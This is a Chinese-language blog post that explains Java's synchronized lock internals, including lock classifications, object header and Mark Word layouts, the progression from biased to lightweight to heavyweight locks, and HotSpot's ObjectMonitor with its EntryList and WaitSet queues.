Java鎖-Synchronized深層剖析

Java鎖-Synchronized深層剖析

前言

Java鎖的問題,可以說是每個JavaCoder繞不開的一道坎。如果只是粗淺地了解Synchronized等鎖的簡單應用,那麼就沒什麼談的了,也不建議繼續閱讀下去。如果希望非常詳細地了解非常底層的信息,如monitor源碼剖析,SpinLock,TicketLock,CLHLock等自旋鎖的實現,也不建議看下去,因為本文也沒有說得那麼深入。本文只是按照synchronized這條主線,探討一下Java的鎖實現,如對象頭部,markdown,monitor的主要組成,以及不同鎖之間的轉換。至於常用的ReentrantLock,ReadWriteLock等,我將在之後專門寫一篇AQS主線的Java鎖分析。

不是我不想解釋得更為詳細,更為底層,而是因為兩個方面。一方面正常開發中真的用不到那麼深入的原理。另一方面,而是那些非常深入的資料,比較難以收集,整理。當然啦,等到我的Java積累更加深厚了,也許可以試試。囧

由於Java鎖的內容比較雜,劃分的維度也是十分多樣,所以很是糾結文章的結構。經過一番考慮,還是採用類似正常學習,推演的一種邏輯來寫(涉及到一些複雜的新概念時,再詳細描述)。希望大家喜歡。

Java鎖的相關概念

如果讓我談一下對程序中鎖的最原始認識,那我就得說說PV操作(詳見我在系統架構師中系統內部原理的筆記)了。通過PV操作可以實現同步效果,以及互斥鎖等。

如果讓我談一下對Java程序中最常見的鎖的認識,那無疑就是Synchronized了。

Java鎖的定義

那麼Java鎖是什麼?網上許多博客都談到了偏向鎖,自旋鎖等定義,唯獨就是沒人去談Java鎖的定義。我也不能很好定義它,因為Java鎖隨着近些年的不斷擴展,其概念早就比原來膨脹了許多。硬要我說,Java鎖就是在多線程情況下,通過特定機制(如CAS),特定對象(如Monitor),配合LockRecord等,實現線程間資源獨佔,流程同步等效果。

當然這個定義並不完美,但也算差不多說出了我目前對鎖的認識(貌似這不叫定義,不要計較)。

Java鎖的分類標準

  1. 自旋鎖:是指當一個線程在獲取鎖的時候,如果鎖已經被其他線程獲取,那麼該線程將循環等待,然後不斷的判斷鎖是否能夠被成功獲取,直到獲取到鎖才會退出循環(之前文章提到的CAS就是自旋鎖)
  2. 樂觀鎖:假定沒有衝突,再修改數據時如果發現數據和之前獲取的不一致,則讀最新數據,修改后重試修改(之前文章提到的CAS就是樂觀鎖)
  3. 悲觀所:假定一定會發生併發衝突,同步所有對數據的相關操作,從讀數據就開始上鎖(Synchronized就是悲觀鎖)
  4. 獨享鎖:給資源加上獨享鎖,該資源同一時刻只能被一個線程持有(如JUC中的寫鎖)
  5. 共享鎖:給資源加上共享鎖,該資源可同時被多個線程持有(如JUC中的讀鎖)
  6. 可重入鎖:線程拿到某資源的鎖后,可自由進入同一把鎖同步的其他代碼(即獲得鎖的線程,可多次進入持有的鎖的代碼中,如Synchronized就是可重入鎖)
  7. 不可重入鎖:線程拿到某資源的鎖后,不可進入同一把鎖同步的其他代碼
  8. 公平鎖:爭奪鎖的順序,獲得鎖的順序是按照先來後到的(如ReentrantLock(true))
  9. 非公平所:爭奪鎖的順序,獲得鎖的順序並非按照先來後到的(如Synchronized)

其實這裏面有很多有意思的東西,如自旋鎖的特性,大家都可以根據CAS的實現了解到了。Java的自選鎖在JDK4的時候就引入了(但當時需要手動開啟),並在JDK1.6變為默認開啟,更重要的是,在JDK1.6中Java引入了自適應自旋鎖(簡單說就是自旋鎖的自旋次數不再固定)。又比如自旋鎖一般都是樂觀鎖,獨享鎖是悲觀所的子集等等。

** Java鎖還可以按照底層實現分為兩種。一種是由JVM提供支持的Synchronized鎖,另一種是JDK提供的以AQS為實現基礎的JUC工具,如ReentrantLock,ReadWriteLock,以及CountDownLatch,Semaphore,CyclicBarrier等。**

Java鎖-Synchronized

Synchronized應該是大家最早接觸到的Java鎖,也是大家一開始用得最多的鎖。畢竟它功能多樣,能力又強,又能滿足常規開發的需求。

有了上面的概念鋪墊,就很好定義Synchronized了。Synchronized是悲觀鎖,獨享鎖,可重入鎖

當然Synchronized有多種使用方式,如同步代碼塊(類鎖),同步代碼塊(對象鎖),同步非靜態方法,同步靜態方法四種。後面有機會,我會掛上我筆記的相關頁面。但是總結一下,其實很簡單,注意區分鎖的持有者與鎖的目標就可以了。static就是針對類(即所有對該類的實例對象)。

其次,Synchronized不僅實現同步,並且JMM中規定,Synchronized要保證可見性(詳細參照筆記中對volatile可見性的剖析)。

然後Synchronized有鎖優化:鎖消除,鎖粗化(JDK做了鎖粗化的優化,但可以通過代碼層面優化,可提高代碼的可讀性與優雅性)

另外,Synchronized確實很方便,很簡單,但是也希望大家不要濫用,看起來很糟糕,而且也讓後來者很難下叉。

Java鎖的實現原理

終於到了重頭戲,也到了最消耗腦力的部分了。這裏要說明一點,這裏提及的只是常見的鎖的原理,並不是所有鎖原理展示(如Synchronized展示的是對象鎖,而不是類鎖,網上也基本沒有博客詳細寫類鎖的實現原理,但不代表沒有)。如Synchronized方法是通過ACC_SYNCHRONIZED進行隱式同步的。

對象在內存中的結構(重點)

首先,我們需要正常對象在內存中的結構,才可以繼續深入研究。

JVM運行時數據區分為線程共享部分(MetaSpace,堆),線程私有部分(程序計數器,虛擬機棧,本地方法棧)。這部分不清楚的,自行百度或查看我之前有關JVM的筆記。那麼堆空間存放的就是數組與類對象。而MetaSpace(原方法區/持久代)主要用於存儲類的信息,方法數據,方法代碼等。

我知道,沒有圖,你們是不會看的。

PS:為了偷懶,我放的都是網絡圖片,如果掛了。嗯,你們就自己百度吧

PS2:如果使用的網絡圖片存在侵權問題,請聯繫我,抱歉。

第一張圖,簡單地表述了在JVM中堆,棧,方法區三者之間的關係

我來說明一下,我們代碼中類的信息是保存在方法區中,方法區保存了類信息,如類型信息,字段信息,方法信息,方法表等。簡單說,方法區是用來保存類的相關信息的。詳見下圖:

而堆,用於保存類實例出來的對象。

以hotspot的JVM實現為例,對象在對內存中的數據分為三個部分:

  1. 對象頭(Header):保存對象信息與狀態(重點,後面詳細說明)
  2. 實例數據(Instance Data):對象真正存儲的有效數據(代碼定義字段,即對象中的實際數據)
  3. 對齊填充(Padding):VM的自動內存管理要求對象起始地址必須是8字節的整數倍(說白了,就是拋棄的內存空間)

簡單說明一下,對齊填充的問題,可以理解為系統內存管理中頁式內存管理的內存碎片。畢竟內存都是要求整整齊齊,便於管理的。如果還不能理解,舉個栗子,正常人規劃自己一天的活動,往往是以小時,乃至分鐘劃分的時間塊,而不會劃分到秒,乃至微妙。所以為了便於內存管理,那些零頭內存就直接填充好了,就像你制定一天的計劃, 晚上睡眠的時間可能總是差幾分鐘那樣。如果你還是不能理解,你可以查閱操作系統的內存管理相關知識(各類內存管理的概念,如頁式,段式,段頁式等)。

如果你原先對JVM有一定認識,卻理解不深的話,可能就有點迷糊了。

Java對象中的實例數據部分存儲對象的實際數據,什麼是對象的實際數據?這些數據與虛擬機棧中的局部變量表中的數據又有什麼區別?

且聽我給你編,啊呸,我給你說明。為了便於理解,插入圖片

Java對象中所謂的實際數據就是屬於對象中的各個變量(屬於對象的各個變量不包括函數方法中的變量,具體後面會談到)。這裡有兩點需要注意:

  • 代碼中是由實際變量與引用變量的概念之分的。實際變量就是實際保存值的變量,而引用變量是一個類似C語言指針的存在,它不保存目標值,而是保存實際變量的引用地址。如果你還是沒法理解,你可以通過數組實驗,或認識Netty零拷貝,原型模式等方法去了解相關概念,增強積累。
  • 內存中對象存儲的變量多為引用變量。
  • 那麼對象除了各種實際數據外,就是各種函數方法了(函數方法的內存表示,網上很多博客都描述的語焉不詳,甚至錯誤)。函數方法可以分為兩個部分來看:一方面是整體邏輯流程,這個是所有實例對象所共有的,故保存在方法區(而不是某些博客所說的,不是具體實現,所以內存中不存在。代碼都壓入內存了,你和我說執行邏輯不存在?)。另一方面是數據(屬性,變量這種),這個即使是同一個實例對象不同調用時也是不一樣的,故運行時保存在棧(具體保存在虛擬機棧,還是本地方法棧,取決於方法是否為本地方法,即native方法。這部分網上說明較多)。

針對第二點,我舉個實際例子。

如StudentManager對象中有Student stu = new Student(“ming”);,那麼在內存中是存在兩個對象的:StudentManger實例對象,Student實例對象(其傳入構造方法的參數為”ming”)。而在StudentManager實例對象中有一個Student類型的stu引用變量,其值指向了剛才說的Student實例對象(其傳入構造方法的參數為”ming”)。那麼再深入一些,為什麼StudentManager實例對象中的stu引用變量要強調是Student類型的,因為JVM要在堆中為StudentManager實例對象分配明確大小的內存啊,所以JVM要知道實例對象中各個引用變量需要分配的內存大小。那麼stu引用變量是如何指向Student實例對象(其傳入構造方法的參數為”ming”)的?這個問題的答案涉及到句柄的概念,這裏簡單立即為指針指向即可。

數組是如何確定內存大小的。
那麼數組在內存中的表現是怎樣的呢?其實和之前的思路還是一樣的。引用變量指向實際值。

二維數組的話,第一層數組中保存的是一維數組的引用變量。其實如果學習過C語言,並且學得還行的話,這些概念都很好理解的。

關於對象中的變量與函數方法中的變量區別及緣由:眾所周知,Java有對內存與棧內存,兩者都有着保存數據的職責。堆的優勢可以動態分配內存大小,也正由於動態性,所以速度較慢。而棧由於其特殊的數據結構-棧,所以速度較快。一般而言,對象中的變量的生命周期比對象中函數方法的變量的生命周期更長(至少前者不少於後者)。當然還有一些別的原因,最終對象中的變量保存在堆中,而函數方法的變量放在棧中。

補充一下,Java的內存分配策略分為靜態存儲,棧式存儲,堆式存儲。后兩者本文都有提到,說一下靜態存儲。靜態存儲就是編譯時確定每個數據目標在運行時的存儲需求,保存在堆內對應對象中。

針對虛擬機棧(本地方法不在此討論),簡單說明一下(因為後面用得到)。

先上個圖

虛擬機棧屬於JVM中線程私有的部分,即每個線程都有屬於自己的虛擬機棧(Stack)。而虛擬機棧是由一個個虛擬機棧幀組成的,虛擬機棧幀(Stack Frame)可以理解為一次方法調用的整體邏輯流程(Java方法執行的內存模型)。而虛擬機棧是由局部變量表(Local Variable Table),操作棧(Operand Stack),動態連接(Dynamic Linking),返回地址(Reture Address)等組成。簡單說明一下,局部變量表就是用於保存方法的局部變量(生命周期與方法一致。注意基本數據類型與對象的不同,如果是對象,則該局部變量為一個引用變量,指向堆內存中對應對象),操作棧用於實現各種加減乘除的操作等(如iadd,iload等),動態鏈接(這個解釋比較麻煩,詳見《深入理解Java虛擬機》p243),返回地址(用於在退出棧幀時,恢復上層棧幀的執行狀態。說白了就是A方法中調用B方法,B方法執行結束后,如何確保回到A方法調用B方法的位置與狀態,畢竟一個線程就一個虛擬機棧)。

到了這一步,就滿足了接下來學習的基本要求了。如果希望有更為深入的理解,可以坐等我之後有關JVM的博客,或者查看我的相關筆記,或者查詢相關資料(如百度,《深入理解Java虛擬機》等。

Java對象頭的組成(不同狀態下的不同組成)

說了這麼多,JVM是如何支持Java鎖呢?

前面Java對象的部分,我們提到了對象是由對象頭,實例數據,對齊填充三個部分組成。其中后兩者已經進行了較為充分的說明,而對象頭還沒有進行任何解釋,而鎖的實現就要靠對象頭完成

對象頭由兩到三個部分組成:

  • Mark Word:存儲對象hashCode,分代年齡,鎖類型,鎖標誌位等信息(長度為JVM的一個字大小)
  • Class Metadata Address:類型指針,指向對象的類元數據(JVM通過這個指針確定該對象是哪個類的實例,指針的長度為JVM的一個字大小);
  • Array Length:[只有數組對象有該部分] 數組對象的對象頭必須有一塊記錄數組長度的數據(因為JVM可通過對象的元數據信息確定Java對象大小,但從數組的元數據中無法確定數組大小)(長度為JVM的一個字大小)。

后兩者不是重點,也與本次主題無關,不再贅述。讓我們來細究一下Mark Word的具體數據結構,及其在內存中的表現。

來,上圖。

一般第一次看看這個圖,都有點蒙,什麼玩意兒啊,到底怎麼理解啊。

所以這個時候需要我來給你舉個簡單例子。

如一個對象頭是這樣的:AAA..(一共23個A)..AAA BB CCCC D EE 。其中23個A表示線程ID,2位B表示Epoch,4位C表示對象的分代年齡,1位D表示該對象的鎖是否為偏向鎖,2位E表示鎖標誌位。

至於其它可能嘛。看到大佬已經寫了一個,情況說明得挺好的,就拿來主義了。

圖中展現了對象在無鎖,偏向鎖,輕量級鎖,重量級鎖,GC標記五種狀態下的Mark Word的不同。

biased_lock lock 狀態
0 01 無鎖
1 01 偏向鎖
0 00 輕量級鎖
0 10 重量級鎖
0 11 GC標記

引用一下這位大佬的哈(畢竟大佬解釋得蠻全面的,我就不手打了,只做補充)。

  • thread:持有偏向鎖的線程ID。
  • epoch:偏向時間戳。
  • age:4位的Java對象年齡。在GC中,如果對象在Survivor區複製一次,年齡增加1。當對象達到設定的閾值時,將會晉陞到老年代。默認情況下,并行GC的年齡閾值為15,併發GC的年齡閾值為6。由於age只有4位,所以最大值為15,這就是-XX:MaxTenuringThreshold選項最大值為15的原因。
  • biased_lock:對象是否啟用偏向鎖標記,只佔1個二進制位。為1時表示對象啟用偏向鎖,為0時表示對象沒有偏向鎖。
  • identity_hashcode:25位的對象標識Hash碼,採用延遲加載技術。調用方法System.identityHashCode()計算,並會將結果寫到該對象頭中。當對象被鎖定時,該值會移動到管程Monitor中。
  • ptr_to_lock_record:指向棧中鎖記錄的指針。
  • ptr_to_heavyweight_monitor:指向管程Monitor的指針。

可能你看到這裏,會對上面的解釋產生一定的疑惑,什麼是棧中鎖記錄,什麼是Monitor。別急,接下來的Synchronized鎖的實現就會應用到這些東西。

Java鎖的內存實現

現在就讓我們來看看我們平時使用的Java鎖在JVM中到底是怎樣的情況。

Synchronized鎖一共有四種狀態:無鎖,偏向鎖,輕量級鎖,重量級鎖。其中偏向鎖與輕量級鎖是由Java6提出,以優化Synchronized性能的(具體實現方式,後續可以看一下,有區別的)。

在此之前,我要簡單申明一個定義,首先鎖競爭的資源,我們稱為“臨界資源”(如:Synchronized(this)中指向的this對象)。而競爭鎖的線程,我們稱為鎖的競爭者,獲得鎖的線程,我們稱為鎖的持有者。

無鎖狀態

就是對象不持有任何鎖。其對象頭中的mark word是

含義 identity_hashcode age biased_lock lock
示例 aaa…(25位bit) xxxx(4位bit) 0(1位bit ,具體值:0) 01(2位bit ,具體值:01)

無鎖狀態沒什麼太多說的。

這裏簡單說一下identity_hashcode的含義,25bit位的對象hash標識碼,用於標識這是堆中哪個對象的對象頭。具體會在後面的鎖中應用到。

那麼這個時候一個線程嘗試獲取該對象鎖,會怎樣呢?

偏向鎖狀態

如果一個線程獲得了鎖,即鎖直接成為了鎖的持有者,那麼鎖(其實就是臨界資源對象)就進入了偏向模式,此時Mark Word的結果就會進入之前展示的偏向鎖結構。

那麼當該線程進再次請求該鎖時,無需再做任何同步操作(不需要再像第一次獲得該鎖那樣,進行較為複雜的操作),即獲取鎖的過程只需要檢查Mark Word的鎖標記位位偏向鎖並且當前線程ID等於Mark Word的ThreadID即可,從而節省大量有關鎖申請的操作。

看得有點懵,沒關係,我會好好詳細解釋的。此處有關偏向鎖的內存變化過程就兩個,一個是第一次獲得鎖的過程,一個是後續獲得該鎖的過程。

接下來,我會結合圖片,來詳細闡述這兩個過程的。

當一個線程通過Synchronized鎖,出於需求,對共享資源進行獨佔操作時,就得試圖向別的鎖的競爭者宣誓鎖的所有權。但是,此時由於該鎖是第一次被佔用,也不確定是否後面還有別的線程需要佔有它(大多數情況下,鎖不存在多線程競爭情況,總是由同一線程多次獲得該鎖),所以不會立馬進入資源消耗較大的重量鎖,輕量級鎖,而是選擇資源佔用最少的偏向鎖。為了向後面可能存在的鎖競爭者線程證明該共享資源已被佔用,該臨界資源的Mark Word就會做出相應變化,標記該臨界資源已被佔用。具體Mark Word會變成如下形式:

含義 thread epoll age biased_lock lock
示例 aaa…(23位bit) bb(2位bit) xxxx(4位bit) 1(1位bit ,具體值:1) 01(2位bit ,具體值:01)

這裏我來說明一下其中各個字段的具體含義:

  • thread用於標識當前持有鎖的線程(即在偏向鎖狀態下,表示當前該臨界資源被哪個線程持有)
  • epoll:用於記錄當前對象的mark word變為偏向結果的時間戳(即當前臨界資源被持有的時間戳)
  • age:與無鎖狀態作用相同,無變化
  • biased_lock:值為1,表示當前mark word為偏向鎖結構
  • lock:配合biased_lock共同表示當前mark word為偏向鎖結果(至於為什麼需要兩個字段共同表示,一方面2bit無法表示4種結構,另一方面,最常用的偏向鎖結果,利用1bit表示,既可以快速檢驗,又可以降低檢驗的資源消耗。需要的話,之後細說,或@我)

接下來就是第二個過程:鎖的競爭者線程嘗試獲得鎖,那麼鎖的競爭者線程會檢測臨界資源,或者說鎖對象的mark word。如果是無鎖狀態,參照上一個過程。如果是偏向鎖狀態,就檢測其thread是否為當前線程(鎖的競爭者線程)的線程ID。如果是當前線程的線程ID,就會直接獲得臨界資源,不需要再次進行同步操作(即上一個過程提到的CAS操作)。

還看不懂,再引入一位大佬的:

偏向鎖的加鎖過程:

  1. 訪問Mark Word中偏向鎖的標識是否設置成1,鎖標誌位是否為01,確認為可偏向狀態。

  2. 如果為可偏向狀態,則測試線程ID是否指向當前線程,如果是,進入步驟5,否則進入步驟3。

  3. 如果線程ID並未指向當前線程,則通過CAS操作競爭鎖。如果競爭成功,則將Mark Word中線程ID設置為當前線程ID,然後執行5;如果競爭失敗,執行4。

  4. 如果CAS獲取偏向鎖失敗,則表示有競爭。當到達全局安全點(safepoint)時獲得偏向鎖的線程被掛起,偏向鎖升級為輕量級鎖,然後被阻塞在安全點的線程繼續往下執行同步代碼。(撤銷偏向鎖的時候會導致stop the word)

  5. 執行同步代碼。

PS:safepoint(沒有任何字節碼正在執行的時候):詳見JVM GC相關,其會導致stop the world。

偏向鎖的存在,極大降低了Syncronized在多數情況下的性能消耗。另外,偏向鎖的持有線程運行完同步代碼塊后,不會解除偏向鎖(即鎖對象的Mark Word結構不會發生變化,其threadID也不會發生變化)

那麼,如果偏向鎖狀態的mark word中的thread不是當前線程(鎖的競爭者線程)的線程ID呢?

輕量級鎖

輕量級鎖可能是由偏向鎖升級而來的,也可能是由無鎖狀態直接升級而來(如通過JVM參數關閉了偏向鎖)。

偏向鎖運行在一個線程進入同步塊的情況下,而當第二個線程加入鎖競爭時,偏向鎖就會升級輕量級鎖。

如果JVM關閉了偏向鎖,那麼在一個線程進入同步塊時,鎖對象就會直接變為輕量級鎖(即鎖對象的Mark Word為偏向鎖結構)。

上面的解釋非常簡單,或者說粗糙,實際的判定方式更為複雜。我在查閱資料時,發現網上很多博客根本沒有深入說明偏向鎖升級輕量級鎖的深層邏輯,直到看到一篇寫出了以下的說明:

當線程1訪問代碼塊並獲取鎖對象時,會在java對象頭和棧幀中記錄偏向的鎖的threadID,因為偏向鎖不會主動釋放鎖,因此以後線程1再次獲取鎖的時候,需要比較當前線程的threadID和Java對象頭中的threadID是否一致,如果一致(還是線程1獲取鎖對象),則無需使用CAS來加鎖、解鎖;如果不一致(其他線程,如線程2要競爭鎖對象,而偏向鎖不會主動釋放因此還是存儲的線程1的threadID),那麼需要查看Java對象頭中記錄的線程1是否存活,如果沒有存活,那麼鎖對象被重置為無鎖狀態,其它線程(線程2)可以競爭將其設置為偏向鎖;如果存活,那麼立刻查找該線程(線程1)的棧幀信息,如果還是需要繼續持有這個鎖對象,那麼暫停當前線程1,撤銷偏向鎖,升級為輕量級鎖,如果線程1 不再使用該鎖對象,那麼將鎖對象狀態設為無鎖狀態,重新偏向新的線程。

這段說明的前半截,我已經在偏向鎖部分說過了。我來說明一下其後半截有關鎖升級的部分。

如果當前線程(鎖的競爭者線程)的線程ID與鎖對象的mark word的thread不一致(其他線程,如線程2要競爭鎖對象,而偏向鎖不會主動釋放因此還是存儲的線程1的threadID),那麼需要查看Java對象頭中記錄的線程1是否存活(可以直接根據鎖對象的Mark Word(更準確說是Displaced Mark Word)的thread來判斷線程1是否還存活),如果沒有存活,那麼鎖對象被重置為無鎖狀態,從而其它線程(線程2)可以競爭該鎖,並將其設置為偏向鎖(等於無鎖狀態下,重新偏向鎖的競爭);如果存活,那麼立刻查找該線程(線程1)的棧幀信息,如果線程1還是需要繼續持有這個鎖對象,那麼暫停當前線程1,撤銷偏向鎖,升級為輕量級鎖,如果線程1 不再使用該鎖對象,那麼將鎖對象狀態設為無鎖狀態,重新偏向新的線程。(這個地方其實是比較複雜的,如果有不清楚的,可以@我。)

那麼另一個由無鎖狀態升級為輕量級鎖的內存過程,就是:

首先讓我來說明一下上面提到的“如果線程1還是需要繼續持有這個鎖對象,那麼暫停當前線程1,撤銷偏向鎖,升級為輕量級鎖”涉及的三個問題。

  1. 為什麼需要暫停線程1
  2. 如何撤銷偏向鎖
  3. 如何升級輕量級鎖

第一個問題,如果不暫停線程1,即線程1的虛擬機棧還在運行,那麼就有可能影響到相關的Lock Record,從而導致異常發生。

第二個問題與第三個問題其實是一個問題,就是通過修改Mark Word的鎖標誌位(lock)與偏向鎖標誌(biased_lock)。將Mark Word修改為下面形式:

含義 thread epoll age biased_lock lock
示例 aaa…(23位bit) bb(2位bit) xxxx(4位bit) 1(1位bit ,具體值:1) 01(2位bit ,具體值:01)

在代碼進入同步塊的時候,如果鎖對象的mark word狀態為無鎖狀態,JVM首先將在當前線程的棧幀)中建立一個名為鎖記錄(Lock Record)的空間,用於存儲Displaced Mark Word(即鎖對象目前的Mark Word的拷貝)。

有資料稱:Displaced Mark Word並不等於Mark Word的拷貝,而是Mark Word的前30bit(32位系統),即Hashcode+age+biased_lock,不包含lock位。但是目前我只從網易微專業課聽到這點,而其它我看到的任何博客都沒有提到這點。所以如果有誰有確切資料,希望告知我。謝謝。

鎖的競爭者嘗試獲取鎖時,會先拷貝鎖對象的對象頭中的Mark Word複製到Lock Record,作為Displaced Mark Word。然後就是之前加鎖過程中提到到的,JVM會通過CAS操作將鎖對象的Mark Word更新為指向Lock Record的指針(這與之前提到的修改thread的CAS操作毫無關係,就是修改鎖對象的引用變量Mark Word的指向,直接指向鎖的競爭者線程的Lock Record的Displaced Mark Word)。CAS成功后,將Lock Record中的owner指針指向鎖對象的Mark Word。而這就表示鎖的競爭者嘗試獲得鎖成功,成為鎖的持有者。

而這之後,就是修改鎖的持有者線程的Lock Record的Displaced Mark Word。將Displaced Mark Word的前25bit(原identity_hashcode字段)修改為當前線程(鎖的競爭者線程)的線程ID(即Mark word的偏向鎖結構中的thread)與當前epoll時間戳(即獲得偏向鎖的epoll時間戳),修改偏向鎖標誌位(從0變為1)。

聽得有點暈暈乎乎,來,給你展示之前那位大佬的(另外我還增加了一些註釋):

輕量級鎖的加鎖過程(無鎖升級偏向鎖):

  1. 在代碼進入同步塊的時候,如果同步對象鎖狀態為無鎖狀態(鎖標誌位為“01”狀態,是否為偏向鎖為“0”),虛擬機首先將在當前線程的棧幀(即同步塊進入的地方,這個需要大家理解基於棧的編程的思想)中建立一個名為鎖記錄(Lock Record)的空間,用於存儲 Displaced Mark Word(鎖對象目前的Mark Word的拷貝)。這時候線程堆棧與對象頭的狀態如圖:

    (上圖中的Object就是鎖對象。)

  2. 拷貝對象頭中的Mark Word複製到鎖記錄中,作為Displaced Mark Word;

  3. 拷貝成功后,JVM會通過CAS操作(舊值為Displaced Mark Word,新值為Lock Record Adderss,即當前線程的鎖對象地址)將鎖對象的Mark Word更新為指向Lock Record的指針(就是修改鎖對象的引用變量Mark Word的指向,直接指向鎖的競爭者線程的Lock Record的Displaced Mark Word),並將Lock record里的owner指針指向鎖對象的Mark Word。如果更新成功,則執行步驟4,否則執行步驟5。

  4. 如果這個更新動作成功了,那麼這個線程就擁有了該對象的鎖,並且對象Mark Word的鎖標誌位設置為“00”,即表示此對象處於輕量級鎖定狀態,這時候線程堆棧與對象頭的狀態如圖所示。

    (上圖中的Object就是鎖對象。)

  5. 如果這個更新操作失敗了,虛擬機首先會檢查對象的Mark Word是否指向當前線程的棧幀,如果是就說明當前線程已經擁有了這個對象的鎖,那就可以直接進入同步塊繼續執行(這點是Synchronized為可重入鎖的佐證,起碼說明在輕量級鎖狀態下,Synchronized鎖為可重入鎖。)。否則說明多個線程競爭鎖,輕量級鎖就要膨脹為重量級鎖(其實是CAS自旋失敗一定次數后,才進行鎖升級),鎖標誌的狀態值變為“10”,Mark Word中存儲的就是指向重量級鎖(互斥量)的指針,後面等待鎖的線程也要進入阻塞狀態。 而當前線程便嘗試使用自旋來獲取鎖,自旋就是為了不讓線程阻塞,而採用循環去獲取鎖的過程。

適用的場景為線程交替執行同步塊的場景。

那麼輕量級鎖在什麼情況下會升級為重量級鎖呢?

重量級鎖:

重量級鎖是由輕量級鎖升級而來的。那麼升級的方式有兩個。

第一,線程1與線程2拷貝了鎖對象的Mark Word,然後通過CAS搶鎖,其中一個線程(如線程1)搶鎖成功,另一個線程只有不斷自旋,等待線程1釋放鎖。自旋達到一定次數(即等待時間較長)后,輕量級鎖將會升級為重量級鎖。

第二,如果線程1拷貝了鎖對象的Mark Word,並通過CAS將鎖對象的Mark Word修改為了線程1的Lock Record Adderss。這時候線程2過來后,將無法直接進行Mark Word的拷貝工作,那麼輕量級鎖將會升級為重量級鎖。

無論是同步方法,還是同步代碼塊,無論是ACC_SYNCHRONIZED(類的同步指令,可通過javap反彙編查看)還是monitorenter,monitorexit(這兩個用於實現同步代碼塊)都是基於Monitor實現的

所以,要想繼續在JVM層次學習重量級鎖,我們需要先學習一些概念,如Monitor。

Monitor
  1. 互斥同步時一種常見的併發保障手段。
  2. 同步:確保同一時刻共享數據被一個線程(也可以通過信號量實現多個線程)使用。
  3. 互斥:實現同步的一種手段
  4. 關係:互斥是因,同步是果。互斥是方法,同步是目的
  5. 主要的互斥實現手段有臨界區(Critical Section),互斥量(Mutex),信號量(Semaphore)(信號量又可以分為二進制,整型,記錄型。這裏不再深入)。其中后兩者屬於同步原語。
  6. 在Mutex和Semaphore基礎上,提出更高層次的同步原語Monitor。操作系統不支持Monitor機制,部分語言(如Java)支持Monitor機制。

這裏貼上作者的一頁筆記,幫助大家更好理解(主要圖片展示效果,比文字好)。

(請不要在意字跡問題,以後一定改正)

說白了,Java的Monitor,就是JVM(如Hotspot)為每個對象建立的一個類似對象的實現,用於支持Monitor實現(實現了Monitor同步原語的各種功能)

上面這張圖的下半部分,揭示了JVM(Hotspot)如何實現Monitor的,通過一個objectMonitor.cpp實現的。該cpp具有count,owner,WaitSet,EntryList等參數,還有monitorenter,monitorexit等方法。

看到這裏,大家應該對Monitor不陌生了。一般說的Monitor,指兩樣東西:Monitor同步原語(類似協議,或者接口,規定了這個同步原語是如何實現同步功能的);Monitor實現(類似接口實現,協議落地代碼等,就是具體實現功能的代碼,如objectMonitor.cpp就是Hotspot的Monitor同步原語的落地實現)。兩者的關係就是Java中接口和接口實現

Monitor實現重量級鎖

那麼monitor是如何實現重量級鎖的呢?其實JVM通過Monitor實現Synchronized與JDK通過AQS實現ReentrantLock有異曲同工之妙。只不過JDK為了實現更好的功能擴展,從而搞了一個AQS,使得ReentrantLock看起來非常複雜而已,後續會開一個專門的系列,寫AQS的。這裏繼續Monitor的分析。

從之前的objectMonitor.cpp的圖中,可以看出:

  • objectMonitor有兩個隊列_EntryList和_WaitSet,兩者都是用於保存objectWaiter對象的,其中**_EntryList用於保存等鎖(線程狀態為Block)的對象,而_WaitSet用於保存處於Wait線程狀態(區別於Sleep線程狀態,Wait線程狀態的對象不僅會讓出CPU,還會釋放已佔用的同步鎖資源)的對象**。
  • _owner表示當前持有同步鎖的objectWaiter對象。
  • _count則表示作為可重入鎖的Synchronized的重入次數(否則,如何確定持有鎖的線程是否完成了釋放鎖的操作呢)。
  • monitorenter與monitorexit主要負責加鎖與釋放鎖的操作,不過由於Synchronized的可重入機制,所以需要對_count進行修改,並根據_count的值,判斷是否釋放鎖,是否進行加鎖等流程。

這個部分的代碼邏輯不需要太過深入理解,只需要清楚明白關鍵參數的意義,以及大致流程即可。

有關具體重量級鎖的底層ObjectMonitor源碼解析,我就不再贅述,因為有一位大佬給出(我覺得挺好的,再深入就該去看源碼了)。

如果真的希望清楚了解代碼運行流程,又覺得看源碼太過麻煩。可以查看我之後寫的有關JUC下AQS對ReentrantLock的簡化實現。看懂了那個,你會發現Monitor實現Synchronized的套路也就那樣了(我自己就是這麼過來的)。

Monitor與持有鎖的線程

看完前面一部分的人,可能對如何實現Monitor,Monitor如何實現Synchronized已經很了解了。但是,Monitor如何與持有鎖的線程產生關係呢?或者進一步問,之前提到的objectWaiter是個什麼東西?

來,上圖片。

從圖中,可以清楚地看到,ObjectWaiter * _next與ObjectWaiter * _prev(volatile就不翻譯,文章前面有),說明ObjectWaiter對象是一個雙向鏈表結構。其中通過Thread* _thread來表示當前線程(即競爭鎖的線程),通過TStates TState表示當前線程狀態。這樣一來,每個等待鎖的線程都會被封裝成OjbectWaiter對象,便於管理線程(這樣一看,就和ReentrantLock更像了。ReentrantLock通過AQS的Node來封裝等待鎖的線程)。

補充
  1. 由於新到來鎖競爭線程,會先嘗試成為鎖的持有者。在嘗試失敗后,才會切換線程狀態為Block,並進入_EntryList。這就導致新到來的競爭鎖的線程,可能在_EntryList不為空的情況下,直接持有同步鎖,所以Synchronized為不公平鎖。又由於該部分並沒有提供別的加鎖邏輯,所以Synchronized無法通過設置,改為公平鎖。具體代碼邏輯參照ReentrantLock。
  2. notify()喚醒的是_WaitSet中任意一個線程,而不是根據等待時間確定的。
  3. 對象的notifyAll()或notify()喚醒的對象,不會從_WaitSet移動到_EntryList中,而是直接參与鎖的競爭。競爭鎖失敗就繼續在_WatiSet中等待,競爭鎖成功就從_WaitSet中移除。這是從JVM性能方面考慮的:如元素在兩個隊列中移動的資源消耗,以及notify()喚醒的對象不一定能競爭鎖成功,那麼就需要再移動回_WaitSet。
  4. Monitor中線程狀態的切換是通過什麼實現的呢?首先線程狀態從根源來說,也只是一個參數而已。其次,據我所知,Hotspot的Monitor是通過park()/unpark()實現(我看到的兩份資料都是這麼寫的)。然後,Hostpot的Monitor中的park()/unpark()區別於JDK提供的park()/unpark(),兩者完全不是一個東西。但是落地到操作系統層,可能是同一個東西。最後,這方面我了解得還不是很深入,如果有誰了解,歡迎交流。

鎖的變遷

最後就是,無鎖,偏向鎖,輕量級鎖,重量級鎖之間的轉換了。

啥都別說了,上圖。

